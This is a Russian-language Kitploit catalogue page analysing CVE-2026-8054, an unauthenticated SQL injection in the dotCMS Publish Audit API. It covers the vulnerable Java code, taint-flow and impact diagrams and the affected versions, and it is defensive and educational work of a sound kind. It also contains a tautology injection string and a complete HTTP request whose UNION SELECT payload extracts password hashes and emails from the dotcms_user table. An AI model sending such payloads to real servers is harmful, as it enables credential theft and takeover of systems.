Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8054 — dotCMS SQL-инъекция до аутентификации | Kitploit
Инструменты/GitHubGitHub/mr-xn/cve-2026-8054
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubmr-xn/cve-2026-8054

CVE-2026-8054

dotCMS SQL-инъекция до аутентификации

Репозиторий
73 месяцев назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

1. Обзор уязвимости

CVE-2026-8054 — это критическая уязвимость SQL-инъекции без аутентификации (Pre-auth SQL Injection) в API публикации аудита (Publish Audit API) ядра dotCMS. Официально уязвимость отслеживается как инцидент безопасности SI-75 и была официально зарегистрирована и раскрыта в конце мая 2026 года. Поскольку атакующий может эксплуатировать её удалённо без каких-либо учётных записей, потенциальный ущерб крайне серьёзен.

СвойствоЗначение
Идентификатор CVECVE-2026-8054
Официальный трекерSI-75
Тип уязвимостиSQL-инъекция (CWE-89)
Поражённый компонентdotCMS Core — Publish Audit API
Оценка CVSS10.0 (Critical)
Затронутые версии25.11.04-1 – 26.04.28-02
Исправленная версия26.04.28-03
Способ атакиУдалённая SQL-инъекция без аутентификации (Pre-auth)
Требуемые праваБез аутентификации
Взаимодействие с пользователемНет
Влияние на версии LTSНе затронуты (ветка кода аудита не портирована в дерево LTS)

2. Детальный анализ уязвимости

2.1 Суть уязвимости

Уязвимость присутствует в двух REST-интерфейсах: /api/auditPublishing/get и /api/auditPublishing/getAll. При получении параметров запроса от клиента эти интерфейсы не выполняют ни фильтрации, ни параметризации, а динамически формируют SQL-запросы путём прямой конкатенации строк.

Ещё критичнее то, что на этих чувствительных серверных интерфейсах, связанных с аудитом, dotCMS полностью отсутствуют проверки аутентификации и авторизации (контроль превышения прав). Это означает, что любой удалённый атакующий без учётных данных, имеющий сетевой доступ к системе, может напрямую отправлять на эти интерфейсы HTTP-запросы с вредоносной нагрузкой (payload).

2.2 Точки входа уязвимости

Путь к файлу: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java

Уязвимость присутствует в двух конечных точках REST API:

  • GET /api/auditPublishing/get/{bundleId} — получение статуса одной публикации аудита
  • POST /api/auditPublishing/getAll — массовое получение статусов публикаций аудита

Ключевая проблема: до исправления эти конечные точки не требовали аутентификации — любой анонимный пользователь мог получить к ним прямой доступ.

@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【漏洞点】没有认证检查!直接调用后端API
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

2.3 Основной код уязвимости

Путь к файлу: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java

Метод: getPublishAuditStatuses(List<String> bundleIds) (строки 224-245)

@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【漏洞点1】直接将用户输入拼接到SQL语句中
        // 仅添加单引号包裹,没有任何参数化或转义处理
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // 危险: 字符串拼接
            .collect(Collectors.toList());

        // 【漏洞点2】使用String.format构造SQL,用户输入被直接嵌入
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

SQL-константа (SELECT_ALL_BY_BUNDLES_IDS):

SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

2.4 Путь распространения недоверенных данных (Taint Flow)

graph LR
    subgraph 外部攻击者
        A[远程攻击者] -->|发送恶意payload| B[HTTP REST API]
    end

    subgraph Application Layer
        B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
        C -->|调用| D[PublishAuditAPI]
        D -->|调用| E[PublishAuditAPIImpl]
        E -->|传递bundleIds| F[污点处理<br/>bundleIds.stream<br/>.map id -> id]
        F -->|拼接参数| G[SQL构造<br/>String.format]
    end

    subgraph Technology Layer
        G -->|构造SQL| H[动态SQL查询<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
        H -->|执行| I[SQL执行]
        I -->|执行注入SQL| J[PostgreSQL/MySQL]
    end

    subgraph 漏洞点
        K[漏洞点1<br/>无认证检查] -.->|跳过认证| C
        L[漏洞点2<br/>无参数化绑定] -.->|仅添加引号| F
    end

    style A fill:#ff6b6b,stroke:#333,color:#fff
    style K fill:#ff6b6b,stroke:#333,color:#fff
    style L fill:#ff6b6b,stroke:#333,color:#fff
    style J fill:#ffa94d,stroke:#333

Распространение недоверенных данных: пользовательский ввод → REST API → обработка бэкендом → формирование SQL → выполнение в базе данных Ключевые недостатки: отсутствие аутентификации + отсутствие параметризации = полностью контролируемая SQL-инъекция

2.5 Анализ принципа SQL-инъекции

Предположим, пользователь вводит bundleIds = ["x' OR '1'='1"]

Обычный SQL:

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

SQL после инъекции:

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

Поскольку '1'='1' всегда истинно, этот запрос вернёт все записи из таблицы.

graph TD
    subgraph 输入对比
        A[正常输入<br/>bundle-123] -->|构造| B[正常SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
        C[恶意输入<br/>x OR 1=1] -->|注入| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
    end

    subgraph 数据库执行
        B -->|执行| E[数据库]
        D -->|执行| E
    end

    subgraph 结果对比
        E -->|返回| F[正常结果<br/>1条记录]
        E -->|返回 数据泄露| G[泄露结果<br/>所有记录]
    end

    style C fill:#ff6b6b,stroke:#333,color:#fff
    style G fill:#ff6b6b,stroke:#333,color:#fff
    style D fill:#ff6b6b,stroke:#333,color:#fff

    note1[注入点: 单引号闭合原有字符串<br/>OR 1=1 使条件永远为真<br/>结果: 返回所有记录]

3. Анализ воздействия и ущерба

Атакующий, успешно эксплуатирующий эту уязвимость, может выполнять произвольные SQL-команды в контексте пользователя системы базы данных, что приводит к следующим серьёзным последствиям:

graph TD
    subgraph 攻击影响分析
        subgraph 数据机密性
            A[管理员密码哈希]
            B[用户凭证]
            C[重置Token]
            D[系统配置]
        end

        subgraph 数据完整性
            E[网站内容]
            F[用户角色权限]
            G[审计日志]
        end

        subgraph 系统可用性
            H[DROP TABLE]
            I[DELETE数据]
            J[UPDATE数据]
        end

        subgraph 权限提升
            K[管理员接管]
            L[文件系统读写]
            M[远程代码执行]
        end
    end

    N[SQL注入漏洞] -->|泄露| A
    N -->|泄露| B
    N -->|泄露| C
    N -->|篡改| E
    N -->|篡改| F
    N -->|执行| H
    N -->|实现| K
    N -->|实现| L

    O[CVSS 10.0 Critical] -.->|评估| N

    style N fill:#ff6b6b,stroke:#333,color:#fff
    style O fill:#ff6b6b,stroke:#333,color:#fff

3.1 Утечка конфиденциальных данных

С помощью SQL-инъекции атакующий может выгрузить содержимое ключевых таблиц базы данных и получить:

  • хэши паролей администраторов
  • учётные данные пользователей
  • токены сброса пароля
  • конфигурацию системы
  • содержимое веб-сайта

Пример атакующей нагрузки — получение пароля администратора:

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

3.2 Изменение и уничтожение данных

Скачать инструмент